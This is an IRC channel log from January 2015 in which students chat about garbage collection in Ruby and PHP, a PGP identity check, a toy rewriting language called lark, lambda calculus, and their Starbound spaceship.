[2015-01-03T19:23:00-0500] <nezorg> 'Sometimes I think the ebola crisis is created by a GCC developer. "I'm sorry for those people, but I was entitled to it, that guy there dereferenced a wild pointer, I could have cured cancer instead, but no".'
[2015-01-03T19:24:02-0500] <@awe> Hyper: I'd consider a high traffic site like >1m page views per month.
[2015-01-03T19:24:16-0500] <Hyper> def that.
[2015-01-03T19:24:35-0500] <Hyper> definetly*
[2015-01-03T19:25:05-0500] <@awe> What site is this?
[2015-01-03T19:25:33-0500] <@awe> 1m might be too low for my considerations. I'm trying to find actual numbers for this.
[2015-01-03T19:25:36-0500] <Hyper> He doesn't want me to say, sorry
[2015-01-03T19:25:54-0500] <@awe> Okay.
[2015-01-03T19:26:01-0500] <Hyper> He also says he agrees with you mostly
[2015-01-03T19:26:09-0500] <Hyper> Hi, friend here
[2015-01-03T19:26:51-0500] <@awe> My impression of most high traffic Ruby sites being written majorly in C is based almost entirely off of GitHub and Twitter developers talking about it.
[2015-01-03T19:27:29-0500] <Hyper> I can't tell you what I worked on, but I mostly agree with you. The site I worked on had to write some in-house gems using native extensions for specific use cases, but where I definitely agree is in the existence of high-use gems like nokogiri that are very much written in C
[2015-01-03T19:28:16-0500] <Hyper> I think GH and Twitter are definitely far and away the highest traffic Ruby-ish sites in the world, and it's probably not a great sample set for other high-performance sites
[2015-01-03T19:28:18-0500] <Hyper> high-traffic*
[2015-01-03T19:28:29-0500] <Hyper> I can tell you that there's a lot of optimization you can do without writing a single line of C yourself
[2015-01-03T19:28:36-0500] <Hyper> Anyway, back to Hyper
[2015-01-03T19:28:44-0500] <@awe> Oh, of course there is.
[2015-01-03T19:28:47-0500] <Hyper> kay
[2015-01-03T19:28:52-0500] <@awe> You can do all sorts of GC-avoidance stuff.
[2015-01-03T19:28:58-0500] <@awe> It's just like in Java.
[2015-01-03T19:28:59-0500] <Hyper> back to my good ol' lame self
[2015-01-03T19:29:12-0500] <nezorg> awe: including turn off the GC! :P
[2015-01-03T19:29:26-0500] <@awe> The issue there is that your language gives you no facilities by which to consider memory, but you have to sit there and try to think about memory anyway.
[2015-01-03T19:29:54-0500] <@awe> Which is where if you're doing that enough, you should stop and rewrite whatever it is you're doing in C.
[2015-01-03T19:30:54-0500] <@awe> nezorg: o god
[2015-01-03T19:31:22-0500] <@awe> But yeah, I definitely didn't mean that you can't optimize in Ruby.
[2015-01-03T19:31:42-0500] <nezorg> awe: I'm thinking of a specific diff (although in php), just a sec...
[2015-01-03T19:32:02-0500] <@awe> I wish I could find data on page views for websites.
[2015-01-03T19:32:59-0500] <@awe> Okay, according to this one random site, GH has 132,353,520 page views per month.
[2015-01-03T19:33:34-0500] <@awe> HackerNews has 6,517,710 page views per month.
[2015-01-03T19:33:50-0500] <nezorg> awe: ah, here we go: https://github.com/composer/composer/commit/ac676f47f7bbc619678a29deae097b6b0710b799
[2015-01-03T19:34:01-0500] <nezorg> make sure to read all the comments
[2015-01-03T19:34:49-0500] <@awe> lol
[2015-01-03T19:35:12-0500] <@awe> Hyper: yeah, I guess like ~3m-ish is probably a fairly high traffic site.
[2015-01-03T19:35:57-0500] <nezorg> awe: https://github.com/composer/composer/commit/ac676f47f7bbc619678a29deae097b6b0710b799#commitcomment-8796394
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[2015-01-03T19:36:38-0500] <Hyper> Friend: Yeah, any Ruby developer will be the first to tell you that memory management is something that's looked at in a diagnostic sense after the fact, not while programming a site.
[2015-01-03T19:37:12-0500] <Hyper> Ruby developers have a different priority list
[2015-01-03T19:37:19-0500] <Hyper> And back to good ol' Josh
[2015-01-03T19:37:25-0500] <nezorg> well imo that's the right priority
[2015-01-03T19:37:39-0500] <nezorg> "premature optimization is the root of all evil"
[2015-01-03T19:37:52-0500] <@awe> It's a reasonable priority.
[2015-01-03T19:37:57-0500] <@awe> Not always the right one, but definitely a reasonable one.
[2015-01-03T19:38:04-0500] <@awe> That being said: the issue is that you can't do it in Ruby.
[2015-01-03T19:38:10-0500] <@awe> You can't ACTUALLY manage memory in Ruby.
[2015-01-03T19:38:28-0500] <@awe> nezorg: also, the performance gains by turning off GC are hilarious.
[2015-01-03T19:38:34-0500] <@awe> nezorg: people getting like 6x speed ups.
[2015-01-03T19:38:43-0500] <@awe> nezorg: and decreased memory usage.
[2015-01-03T19:38:45-0500] <nezorg> yeah :P
[2015-01-03T19:39:08-0500] <nezorg> this has got to be the best gif thread I've ever seen
[2015-01-03T19:39:31-0500] <bob_twinkles> it's such a weird thing to have happen on github though
[2015-01-03T19:39:41-0500] <Hyper> I think i've seen better, but it's a very special one for sure
[2015-01-03T19:40:48-0500] <@awe> Yeah, it's interesting to see it on GitHub.
[2015-01-03T19:41:43-0500] <nezorg> "php is garbage, it's ironic that they decided to put a garbage collector in there." lol
[2015-01-03T19:42:20-0500] <@awe> So, I'd like to point something out.
[2015-01-03T19:42:26-0500] <@awe> Did anyone read teh write-up about turning off the GC?
[2015-01-03T19:42:30-0500] <@awe> http://blog.ircmaxell.com/2014/12/what-about-garbage.html
[2015-01-03T19:42:42-0500] <@awe> He has to EXPLAIN garbage collection in this blog post.
[2015-01-03T19:42:52-0500] <@awe> Why? Because the average PHP programmer doesn't know what it is, or how memory management works.
[2015-01-03T19:43:13-0500] <nezorg> again, imo that's pretty reasonable
[2015-01-03T19:43:20-0500] <nezorg> the average php programmer doesn't really need to
[2015-01-03T19:43:21-0500] <@awe> The latter?
[2015-01-03T19:43:31-0500] <@awe> Every programmer should know how memory management works.
[2015-01-03T19:46:03-0500] <@awe> If you don't, you don't know how your application performs.
[2015-01-03T19:46:15-0500] <@awe> You can only find out retroactively by timing things, and then you'll have no idea why it performs terribly.
[2015-01-03T19:46:22-0500] <nezorg> well, most php programmers don't know how their application performs :P
[2015-01-03T19:46:29-0500] <nezorg> obviously ones working at fb do
[2015-01-03T19:46:33-0500] <nezorg> but they're above average
[2015-01-03T19:46:37-0500] <@awe> And that's why most of the things written in PHP are shit.
[2015-01-03T19:46:45-0500] <@awe> Well, that and a lot of other reasons
[2015-01-03T19:51:14-0500] <@awe> Like a complete lack of namespacing in the standard library.
[2015-01-03T19:54:28-0500] jacobedelman_diff_computer (jacobedelma@pdgn-ds7.8hr.fmirh5.IP) joined the channel
[2015-01-03T19:54:35-0500] <jacobedelman_diff_computer> hello
[2015-01-03T19:54:39-0500] <@awe> jacobedelman_diff_computer: lol
[2015-01-03T19:54:39-0500] <@awe> hi
[2015-01-03T19:55:12-0500] <jacobedelman_diff_computer> can't be bothered to memorize my password
[2015-01-03T19:55:14-0500] <jacobedelman_diff_computer> :P
[2015-01-03T19:55:19-0500] <Hyper> 10/10
[2015-01-03T19:55:37-0500] <jacobedelman_diff_computer> password managers ftw
[2015-01-03T19:55:45-0500] <alokpathy> jacobedelman_diff_computer: Wow, nice
[2015-01-03T19:55:55-0500] <@awe> jacobedelman_diff_computer: that's why I have 1Password on my phone, too.
[2015-01-03T19:56:04-0500] <@awe> anybody want to play some Starbound?
[2015-01-03T19:56:04-0500] <+hardmath123> how do we know it's really him?
[2015-01-03T19:56:10-0500] <@awe> jacobedelman_diff_computer: prove identity?
[2015-01-03T19:56:18-0500] jacobedelman_diff_computer has userhost jacobedelma@pdgn-ds7.8hr.fmirh5.IP and real name "enable user hosts @ kiwiirc.com"
[2015-01-03T19:56:18-0500] jacobedelman_diff_computer is connecting from jacobedelma@b.clients.kiwiirc.com 78.129.190.63
[2015-01-03T19:56:18-0500] jacobedelman_diff_computer is on #pdgn 
[2015-01-03T19:56:18-0500] jacobedelman_diff_computer is connected on irc.pdgn.co (Pidgeon Company)
[2015-01-03T19:56:18-0500] jacobedelman_diff_computer is using modes +x
[2015-01-03T19:56:18-0500] jacobedelman_diff_computer is using a secure connection
[2015-01-03T19:56:18-0500] jacobedelman_diff_computer signed on at January 3, 2015 at 7:54:30 PM EST and has been idle for 42 seconds
[2015-01-03T19:56:22-0500] <jacobedelman_diff_computer> give me a sec
[2015-01-03T19:56:22-0500] JacobEdelman has userhost uid15877@pdgn-dot.9lf.7cuf9e.IP and real name "JacobE"
[2015-01-03T19:56:23-0500] JacobEdelman is connecting from uid15877@charlton.irccloud.com 192.184.9.112
[2015-01-03T19:56:23-0500] JacobEdelman is on ~#resistance ~#awe_fan_club ~##pdgn ~#picoctf +#pdgn #pdgn-revolt ~#cs ~#math ~#study ~#study-test ~#korra 
[2015-01-03T19:56:23-0500] JacobEdelman is connected on irc.pdgn.co (Pidgeon Company)
[2015-01-03T19:56:23-0500] JacobEdelman is using modes +rx
[2015-01-03T19:56:23-0500] JacobEdelman is a registered nick
[2015-01-03T19:56:23-0500] JacobEdelman is using a secure connection
[2015-01-03T19:56:23-0500] JacobEdelman signed on at January 3, 2015 at 12:28:27 PM EST and has been idle for 2 hours, 16 minutes, 5 seconds
[2015-01-03T19:56:45-0500] <@awe> this user is on kiwi, so, the IP is obviously different.
[2015-01-03T19:57:16-0500] <@awe> nezorg: I feel bad for FB devs, by the way.
[2015-01-03T19:57:43-0500] <@awe> nezorg: optimizing in languages without memory management is incredibly painful.
[2015-01-03T19:57:53-0500] <jwoglom> jacobedelman_diff_computer: ugh why such a long nick
[2015-01-03T19:57:56-0500] <@awe> especially once you're at that level.
[2015-01-03T19:58:01-0500] <jacobedelman_diff_computer> -----BEGIN PGP SIGNED MESSAGE-----
[2015-01-03T19:58:01-0500] <jacobedelman_diff_computer> Hash: SHA512
[2015-01-03T19:58:01-0500] <jacobedelman_diff_computer> it's me
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[2015-01-03T19:58:01-0500] <jacobedelman_diff_computer> Version: Keybase OpenPGP v2.0.1
[2015-01-03T19:58:01-0500] <jacobedelman_diff_computer> Comment: https://keybase.io/crypto
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[2015-01-03T19:58:01-0500] <jacobedelman_diff_computer> +PthnYxQ3nTzQ+/dbpr0nnYoxTkBNnRsUkxWhBog7vkCuCAvyDH7Qzk21sdKXgAA
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[2015-01-03T19:58:02-0500] <jacobedelman_diff_computer> jUAoj6z2B13Bt+jYG/n58Zr2yy6A6pcobD51uIcGIlu+Mbx8Jk39UKJZhLNKp4M=
[2015-01-03T19:58:03-0500] <jacobedelman_diff_computer> =6fpb
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[2015-01-03T19:58:04-0500] <@awe> jwoglom: I was thinking that.
[2015-01-03T19:58:05-0500] <jacobedelman_diff_computer> -----BEGIN PGP SIGNED MESSAGE-----
[2015-01-03T19:58:06-0500] <jacobedelman_diff_computer> Hash: SHA512
[2015-01-03T19:58:07-0500] <jacobedelman_diff_computer> it's me
[2015-01-03T19:58:08-0500] <jacobedelman_diff_computer> -----BEGIN PGP SIGNATURE-----
[2015-01-03T19:58:09-0500] <jacobedelman_diff_computer> Version: Keybase OpenPGP v2.0.1
[2015-01-03T19:58:10-0500] <jacobedelman_diff_computer> Comment: https://keybase.io/crypto
[2015-01-03T19:58:11-0500] <jacobedelman_diff_computer> wsBcBAABCgAGBQJUqI/dAAoJEHOytxRpeM6QFM0H/1rA40NiXTRflbRJnI0+4rCB
[2015-01-03T19:58:12-0500] <jacobedelman_diff_computer> l6kYYHrSe7Jk0IuD2XQeOP8sjb2J9qBEdOBD+/2gKOZl8NOVFTTpMqh+uAXoP5uv
[2015-01-03T19:58:13-0500] <jacobedelman_diff_computer> +PthnYxQ3nTzQ+/dbpr0nnYoxTkBNnRsUkxWhBog7vkCuCAvyDH7Qzk21sdKXgAA
[2015-01-03T19:58:14-0500] <jacobedelman_diff_computer> pKdVkDLX9k9eiYTF28o7zwLxx5BHX2Vn3/ANzjvvk47sGS5OsbV8FhAxFe2XAF5V
[2015-01-03T19:58:14-0500] <@awe> jacobedelman_diff_computer: you pasted it twice?
[2015-01-03T19:58:15-0500] <jacobedelman_diff_computer> b3cyzTDJEqj64/jHYdkqlhuSqAnlIvpPBDBRYBuBHjXz5ne6yFOOMeioyikU/mD+
[2015-01-03T19:58:16-0500] <jacobedelman_diff_computer> jUAoj6z2B13Bt+jYG/n58Zr2yy6A6pcobD51uIcGIlu+Mbx8Jk39UKJZhLNKp4M=
[2015-01-03T19:58:17-0500] <jwoglom> made all the text of people's messages go over like 20 characters to the right..
[2015-01-03T19:58:17-0500] <jacobedelman_diff_computer> =6fpb
[2015-01-03T19:58:18-0500] <jacobedelman_diff_computer> -----END PGP SIGNATURE-----
[2015-01-03T19:58:19-0500] <jacobedelman_diff_computer> -----BEGIN PGP SIGNED MESSAGE-----
[2015-01-03T19:58:20-0500] <jacobedelman_diff_computer> Hash: SHA512
[2015-01-03T19:58:21-0500] <jacobedelman_diff_computer> it's me
[2015-01-03T19:58:22-0500] <jacobedelman_diff_computer> -----BEGIN PGP SIGNATURE-----
[2015-01-03T19:58:23-0500] <jacobedelman_diff_computer> Version: Keybase OpenPGP v2.0.1
[2015-01-03T19:58:24-0500] <jacobedelman_diff_computer> Comment: https://keybase.io/crypto
[2015-01-03T19:58:25-0500] <jacobedelman_diff_computer> wsBcBAABCgAGBQJUqI/dAAoJEHOytxRpeM6QFM0H/1rA40NiXTRflbRJnI0+4rCB
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[2015-01-03T19:58:27-0500] <jacobedelman_diff_computer> +PthnYxQ3nTzQ+/dbpr0nnYoxTkBNnRsUkxWhBog7vkCuCAvyDH7Qzk21sdKXgAA
[2015-01-03T19:58:28-0500] <jacobedelman_diff_computer> pKdVkDLX9k9eiYTF28o7zwLxx5BHX2Vn3/ANzjvvk47sGS5OsbV8FhAxFe2XAF5V
[2015-01-03T19:58:28-0500] awe kicked jacobedelman_diff_computer from the channel (Goodbye)
[2015-01-03T19:58:31-0500] <@awe> No.
[2015-01-03T19:58:32-0500] <Hyper> lol
[2015-01-03T19:58:33-0500] <alokpathy> lolol
[2015-01-03T19:58:34-0500] <jwoglom> thanks, i think we believe you
[2015-01-03T19:58:40-0500] <alokpathy> That's definitely Jacob.
[2015-01-03T19:58:50-0500] failedxyz (failedxyz@pdgn-ds7.8hr.fmirh5.IP) joined the channel
[2015-01-03T19:58:59-0500] <alokpathy> failedxyz: You missed it
[2015-01-03T19:58:59-0500] failedxyz has userhost failedxyz@pdgn-ds7.8hr.fmirh5.IP and real name "enable user hosts @ kiwiirc.com"
[2015-01-03T19:58:59-0500] failedxyz is connecting from failedxyz@b.clients.kiwiirc.com 78.129.190.63
[2015-01-03T19:58:59-0500] failedxyz is on #pdgn 
[2015-01-03T19:58:59-0500] failedxyz is connected on irc.pdgn.co (Pidgeon Company)
[2015-01-03T19:58:59-0500] failedxyz is using modes +x
[2015-01-03T19:58:59-0500] failedxyz is using a secure connection
[2015-01-03T19:58:59-0500] failedxyz signed on at January 3, 2015 at 7:58:53 PM EST and has been idle for 9 seconds
[2015-01-03T19:59:03-0500] <failedxyz> missed what
[2015-01-03T19:59:05-0500] jacobedelman_diff_computer (jacobedelma@pdgn-ds7.8hr.fmirh5.IP) joined the channel
[2015-01-03T19:59:13-0500] <@awe> failedxyz: is also on kiwi.
[2015-01-03T19:59:14-0500] <jacobedelman_diff_computer> what'd I do wrong?
[2015-01-03T19:59:19-0500] <Hyper> :)
[2015-01-03T19:59:23-0500] <alokpathy> :P
[2015-01-03T19:59:24-0500] <jacobedelman_diff_computer> I'm using a macbook
[2015-01-03T19:59:25-0500] <@awe> spammed the channel?
[2015-01-03T19:59:25-0500] <Hyper> jacob, never change
[2015-01-03T19:59:28-0500] <jacobedelman_diff_computer> and kiwi is confusing
[2015-01-03T19:59:35-0500] <jacobedelman_diff_computer> it was apples fault
[2015-01-03T19:59:38-0500] <@awe> N.
[2015-01-03T19:59:39-0500] <jacobedelman_diff_computer> and kiwi
[2015-01-03T19:59:40-0500] <@awe> 100% your fault.
[2015-01-03T19:59:51-0500] <jacobedelman_diff_computer> well, at least I proved my identitiy
[2015-01-03T20:00:39-0500] <bob_twinkles> jacobedelman_diff_computer: pls nick length
[2015-01-03T20:00:44-0500] <jacobedelman_diff_computer> okay
[2015-01-03T20:00:49-0500] jacobedelman_diff_computer is now known as jacobedelman_
[2015-01-03T20:00:56-0500] <jacobedelman_> how that?
[2015-01-03T20:00:57-0500] <bob_twinkles> much better
[2015-01-03T20:01:16-0500] <jacobedelman_> what is this? apple is autospell checking !!
[2015-01-03T20:01:24-0500] <jacobedelman_> its very disorienting
[2015-01-03T20:01:29-0500] <+hardmath123> turn it off
[2015-01-03T20:01:32-0500] <jacobedelman_> suddenly everything i spell is correct
[2015-01-03T20:01:35-0500] <jacobedelman_> its not my computer
[2015-01-03T20:01:44-0500] <jacobedelman_> I'm not gonna change settings
[2015-01-03T20:01:45-0500] <+hardmath123> turn it off as a favor
[2015-01-03T20:01:50-0500] <jacobedelman_> why?
[2015-01-03T20:02:18-0500] <jacobedelman_> how is it a favor to turn it off?
[2015-01-03T20:02:24-0500] <jacobedelman_> its actually kinda nice
[2015-01-03T20:02:26-0500] <+hardmath123> my average stress levels went down 20% the day I turned it off
[2015-01-03T20:02:38-0500] <jacobedelman_> well, I don't think my grandfather cares
[2015-01-03T20:02:39-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-01-03T20:02:45-0500] <@awe> hardmath123: well, jacobedelman_ can't spell anyway.
[2015-01-03T20:02:46-0500] <+hardmath123> ah
[2015-01-03T20:02:47-0500] <jacobedelman_> oh
[2015-01-03T20:02:49-0500] <jacobedelman_> I'm gone
[2015-01-03T20:02:54-0500] <@awe> hardmath123: this is most certainly an improvement.
[2015-01-03T20:02:58-0500] <jacobedelman_> it's actually kinda nice
[2015-01-03T20:03:06-0500] <alokpathy> jacobedelman_: Always use this computer :P
[2015-01-03T20:03:19-0500] <jacobedelman_> I'll find some way to get it for linux
[2015-01-03T20:04:13-0500] <@awe> Look, I've got a guard in my ship.
[2015-01-03T20:04:14-0500] <@awe> https://www.dropbox.com/s/lt09mfw2x7jt511/Screenshot%202015-01-03%2020.04.04.png?dl=0
[2015-01-03T20:04:24-0500] <jacobedelman_> also, here's multiplication in lark:
[2015-01-03T20:04:26-0500] <jacobedelman_> $a*($b)=$a*$b;$a*0=0;$a*$b=$a*($b-1)+$a
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[2015-01-03T20:04:46-0500] <jacobedelman_> awe:that's quite larg
[2015-01-03T20:04:47-0500] <+hardmath123> umm
[2015-01-03T20:04:48-0500] <jacobedelman_> *large
[2015-01-03T20:04:57-0500] <@awe> My ship?
[2015-01-03T20:05:00-0500] <@awe> Ezra knows how big it is.
[2015-01-03T20:05:07-0500] <jacobedelman_> although I have no frame of refrence
[2015-01-03T20:05:19-0500] <jacobedelman_> ha!
[2015-01-03T20:05:21-0500] <jacobedelman_> take that apple!
[2015-01-03T20:05:31-0500] <alokpathy> jacobedelman_: ?
[2015-01-03T20:05:31-0500] <jacobedelman_> even you can't correct all my spelling mistakes!
[2015-01-03T20:05:39-0500] <alokpathy> Oh
[2015-01-03T20:06:01-0500] <jacobedelman_> (i made a spelling error with "refrence" despite apple's evil attempt to force me to speak english)
[2015-01-03T20:06:21-0500] <bob_twinkles> jacobedelman_: why do you need "$a*($b) = $a * $b" ?
[2015-01-03T20:06:36-0500] <jacobedelman_> well... cause its kinda stupid right now
[2015-01-03T20:06:41-0500] <jacobedelman_> right now when you go and do 2*2
[2015-01-03T20:06:50-0500] <jacobedelman_> it will convert it too 2*(2-1)+2
[2015-01-03T20:06:56-0500] <jacobedelman_> wait
[2015-01-03T20:06:57-0500] <jacobedelman_> actually
[2015-01-03T20:06:59-0500] <jacobedelman_> more simply
[2015-01-03T20:07:06-0500] <jacobedelman_> 2*1 = 2*(1-1)+2
[2015-01-03T20:07:18-0500] <failedxyz> :I
[2015-01-03T20:07:32-0500] <jacobedelman_> and 2*(1-1) does not match $a*0, but it matches $a*$b
[2015-01-03T20:07:41-0500] <jacobedelman_> in reality
[2015-01-03T20:07:48-0500] <jacobedelman_> it should all be inside one if statement
[2015-01-03T20:08:01-0500] <bob_twinkles> does lark operate entierly on string substitution or something?
[2015-01-03T20:08:18-0500] <+hardmath123> yes
[2015-01-03T20:08:19-0500] <+hardmath123> afaik
[2015-01-03T20:08:33-0500] <jacobedelman_> so, $a*$b=if($b==0)0;else $a*($b-1)+$a
[2015-01-03T20:08:42-0500] <jacobedelman_> lark is not quite string substition
[2015-01-03T20:08:45-0500] <jacobedelman_> a bit more complex
[2015-01-03T20:08:55-0500] <jacobedelman_> the $a represents any valid lark expression
[2015-01-03T20:08:56-0500] <+hardmath123> are there any irc clients with vim bindings?
[2015-01-03T20:08:58-0500] <jacobedelman_> not any valid string
[2015-01-03T20:09:28-0500] <+hardmath123> i almost sent a message that looked like "i'm not sure thoughd0"
[2015-01-03T20:09:42-0500] <jacobedelman_> bob_twinkles:that way you don't have problems with things like the string "1+1" turning into "2"
[2015-01-03T20:10:52-0500] <jacobedelman_> bob_twinkles: its kinda like macros you'll find in some places, except you don't need to have some keyword for the macro
[2015-01-03T20:11:45-0500] <jacobedelman_> bob_twinkles: its actually very close to lambda calculus, in some ways
[2015-01-03T20:12:02-0500] <+hardmath123> jacobedelman_: really? how so?
[2015-01-03T20:12:36-0500] <bob_twinkles> last time I checked 1+1 turning in to 2 is a language features
[2015-01-03T20:12:40-0500] <bob_twinkles> *feature singular
[2015-01-03T20:12:55-0500] <jacobedelman_> it will, but only when its recognized as an expr
[2015-01-03T20:13:02-0500] <jacobedelman_> (aka when it matches a $a)
[2015-01-03T20:13:11-0500] <jacobedelman_> hardmath123: a lambda calculus function works by taking a "string" that is its input and substituting it into an expression
[2015-01-03T20:13:29-0500] <+hardmath123> jacobedelman_: no, that's not how a lambda calculus interpreter works
[2015-01-03T20:13:29-0500] <bob_twinkles> not... really
[2015-01-03T20:13:45-0500] <jacobedelman_> hardmath123: thats how it initiatively works
[2015-01-03T20:13:50-0500] <jacobedelman_> *intiutively
[2015-01-03T20:13:53-0500] <+hardmath123> no
[2015-01-03T20:13:57-0500] <+hardmath123> not really, no
[2015-01-03T20:14:03-0500] <jacobedelman_> hmmm... I'm struggling to explain this
[2015-01-03T20:14:10-0500] <jacobedelman_> cause I know I know lambda calculus
[2015-01-03T20:14:16-0500] <jacobedelman_> I've proved the church rosser thm
[2015-01-03T20:14:17-0500] <jacobedelman_> but for now
[2015-01-03T20:14:23-0500] <jacobedelman_> I gotta go and talk to my grandparents
[2015-01-03T20:14:23-0500] <jacobedelman_> gtg
[2015-01-03T20:14:28-0500] <+hardmath123> bye
[2015-01-03T20:14:29-0500] <jacobedelman_> (I'll explain later)
[2015-01-03T20:14:33-0500] <jacobedelman_> (about lark)
[2015-01-03T20:14:33-0500] <failedxyz> cya
[2015-01-03T20:14:37-0500] <bob_twinkles> that's one way to do beta-reduction but it's not the same thing
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[2015-01-03T20:15:02-0500] <+hardmath123> beta-reduction != alpha-equivalence, right? all these greek names drive me crazy.
[2015-01-03T20:17:23-0500] <bob_twinkles> uh
[2015-01-03T20:17:32-0500] <bob_twinkles> you use beta reduction to demonstrate alpha equivalence IIRC
[2015-01-03T20:18:22-0500] • hardmath123: looks it up on wp
[2015-01-03T20:19:36-0500] <+hardmath123> oh yeah alpha-equivalence is basically "choice of variable names doesn't matter"
[2015-01-03T20:25:46-0500] <@awe> look at mah guards
[2015-01-03T20:25:46-0500] <@awe> https://www.dropbox.com/s/gkfu9oyb211g0ng/Screenshot%202015-01-03%2020.25.39.png?dl=0
[2015-01-03T20:25:58-0500] <@awe> no evil-doers shall board my spaceship!
[2015-01-03T20:33:57-0500] <Tamini_> perdy
[2015-01-03T20:41:13-0500] <failedxyz> what
[2015-01-03T20:41:14-0500] <failedxyz> what is this
[2015-01-03T20:41:38-0500] <bob_twinkles> Starbound
[2015-01-03T20:50:47-0500] <@awe> I now have five guards.
[2015-01-03T20:51:10-0500] <failedxyz> ..
[2015-01-03T20:51:30-0500] <@awe> What?
[2015-01-03T20:52:20-0500] <bob_twinkles> awe: just set up twitch streaming so we can watch instead of getting live commentary =P
[2015-01-03T20:53:01-0500] <+hardmath123> oooh can I live-stream me playing Zork in an IRC channel?
[2015-01-03T20:53:22-0500] <bob_twinkles> probably?
[2015-01-03T20:53:36-0500] <bob_twinkles> you'd have to bump the text size way up to make it readable at lower stream resolutions
[2015-01-03T20:54:19-0500] <+hardmath123> no as in you view the live stream by listening in on an IRC channel
[2015-01-03T20:54:27-0500] <+hardmath123> like #kartik-plays-zork or something
[2015-01-03T20:54:30-0500] <@awe> bob_twinkles: would you guys watch?
[2015-01-03T20:54:36-0500] <+hardmath123> i feel this should be a thing
[2015-01-03T20:54:43-0500] <@awe> bob_twinkles: I was sending images because I thought nobody cared that much :D
[2015-01-03T20:54:58-0500] <bob_twinkles> lol
[2015-01-03T20:55:15-0500] <bob_twinkles> I don't think I would watch, I'm supposed to be writing essays
[2015-01-03T20:56:27-0500] <@awe> I found healing water.
[2015-01-03T20:56:28-0500] <@awe> Interesting.
[2015-01-03T21:06:17-0500] <@awe> Okay.
[2015-01-03T21:06:20-0500] <@awe> I am now streaming Starbound. http://www.twitch.tv/aaronweiss
[2015-01-03T21:06:37-0500] <@awe> (I had to make a new account because they disabled the justin.tv migration and so on.
[2015-01-03T21:13:40-0500] <@awe> This is rather laggy.
[2015-01-03T21:13:52-0500] <@awe> My laptop is too laptop for this.
[2015-01-03T21:14:01-0500] <bob_twinkles> not 'nuf bandwidth
[2015-01-03T21:16:47-0500] <@awe> Not bandwidth, processing.
[2015-01-03T21:16:58-0500] <@awe> I give up. Too processor intensive.
[2015-01-03T21:17:08-0500] <@awe> (Starbound crashed)
[2015-01-03T21:22:17-0500] <@awe> Plus, I'm going to take a break for a bit.
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[2015-01-03T22:03:41-0500] <@awe> guys
[2015-01-03T22:03:42-0500] <@awe> guys
[2015-01-03T22:03:46-0500] <@awe> look at my ship NOW
[2015-01-03T22:03:46-0500] <@awe> https://www.dropbox.com/s/vx20uts4wcb1d5p/Screenshot%202015-01-03%2022.03.39.png?dl=0
[2015-01-03T22:04:23-0500] <bob_twinkles> awe: well done
[2015-01-03T22:04:42-0500] <@awe> Now I cruise through space with a handful of naked ladies.
[2015-01-03T22:11:53-0500] <+Tamini> heh
[2015-01-03T22:12:03-0500] <+Tamini> living the life, eh?
[2015-01-03T22:12:18-0500] <@awe> I am, indeed.
[2015-01-03T22:12:56-0500] <+Tamini> heh
[2015-01-03T22:13:07-0500] <+Tamini> hey hey bob_twinkles did you start multi yet
[2015-01-03T22:13:12-0500] <bob_twinkles> no
[2015-01-03T22:13:15-0500] <+Tamini> o ok :(
[2015-01-03T22:13:21-0500] <bob_twinkles> it's not due till friday and I'm still on vacation =P
[2015-01-03T22:13:52-0500] <+Tamini> still in scriptland, eh? :P
[2015-01-03T22:13:57-0500] <+Tamini> dont we have a hwq like
[2015-01-03T22:13:58-0500] <+Tamini> monday tho
[2015-01-03T22:17:18-0500] <@awe> It's funny. First, I just wanted people on my ship.
[2015-01-03T22:17:20-0500] <@awe> Then they were all naked.
[2015-01-03T22:17:24-0500] <@awe> So, I killed all the men.
[2015-01-03T22:17:45-0500] <+hardmath123> ...
[2015-01-03T22:18:12-0500] <@awe> I can't have naked men on my ship.
[2015-01-03T22:18:27-0500] <alokpathy> I see nothing wrong.
[2015-01-03T22:20:14-0500] <+Tamini> lol
[2015-01-03T22:25:51-0500] <@awe> https://www.dropbox.com/s/q3ux7qg5tspjapg/Screenshot%202015-01-03%2022.25.49.png?dl=0
[2015-01-03T22:25:55-0500] <@awe> I've got a healing spa for my naked ladies now.
[2015-01-03T22:27:03-0500] <+hardmath123> oh it's not an oceaney ship
[2015-01-03T22:27:12-0500] <+hardmath123> things make more sense now
[2015-01-03T22:28:29-0500] <@awe> No, it's a spaceship.
[2015-01-03T22:28:36-0500] <+Tamini> lol
[2015-01-03T22:28:46-0500] <+Tamini> hardmath123, i can now see your confusion
[2015-01-03T22:29:04-0500] <+Tamini> he has a harem in his ship :P
[2015-01-03T22:30:04-0500] <@awe> There's a TON of women.
[2015-01-03T22:30:23-0500] <bob_twinkles> nope
[2015-01-03T22:30:29-0500] <bob_twinkles> I'm back at home actually
[2015-01-03T22:30:56-0500] <+Tamini> bob_twinkles: psh, you're no longer on vacation then, silly.
[2015-01-03T22:31:14-0500] <+hardmath123> I find it very disturbing that a friend I haven't spoken to in ages wished me new year, and then promptly asked "are you having girl troubles?"
[2015-01-03T22:31:15-0500] <+Tamini> awe: teach me how to get girls like you :<
[2015-01-03T22:31:25-0500] <+Tamini> hardmath123: well, are you? :P
[2015-01-03T22:31:30-0500] <bob_twinkles> I'm always on vacation
[2015-01-03T22:31:38-0500] <+Tamini> we can have a relationship therapy room
[2015-01-03T22:31:39-0500] <@awe> You craft their spawners with steel.
[2015-01-03T22:31:41-0500] <+Tamini> this is healthy
[2015-01-03T22:31:47-0500] <+Tamini> awe: lol
[2015-01-03T22:31:53-0500] <+hardmath123> Tamini: I'm not sure anymore. He made some compelling arguments.
[2015-01-03T22:32:00-0500] <+Tamini> like?
[2015-01-03T22:32:13-0500] <@awe> hardmath123: lol
[2015-01-03T22:32:37-0500] <@awe> My entire sophomore year was one big girl trouble/
[2015-01-03T22:33:10-0500] <+Tamini> lol
[2015-01-03T22:33:15-0500] <+hardmath123> "The gérìiås sa y ôheù ìoöe må anä tèat és ïë Ánd I cáî äaîãe båôtår tèán áîy kid n' pìá"    Is that vaguely intelligible as English?
[2015-01-03T22:33:20-0500] <+Tamini> we can make a channel and just dump out all our problems
[2015-01-03T22:33:23-0500] <+Tamini> and uh no.
[2015-01-03T22:33:29-0500] <+Tamini> that looks like vietnamese
[2015-01-03T22:33:36-0500] <+hardmath123> relationship regurgitation
[2015-01-03T22:34:01-0500] <+Tamini> actually
[2015-01-03T22:34:05-0500] <+Tamini> you know what that looks like
[2015-01-03T22:34:08-0500] <+Tamini> FUCKING ESPERANTO
[2015-01-03T22:34:20-0500] <+Tamini> *stares at awe/alokpathy*
[2015-01-03T22:34:31-0500] <@awe> That was 100% Ernest.
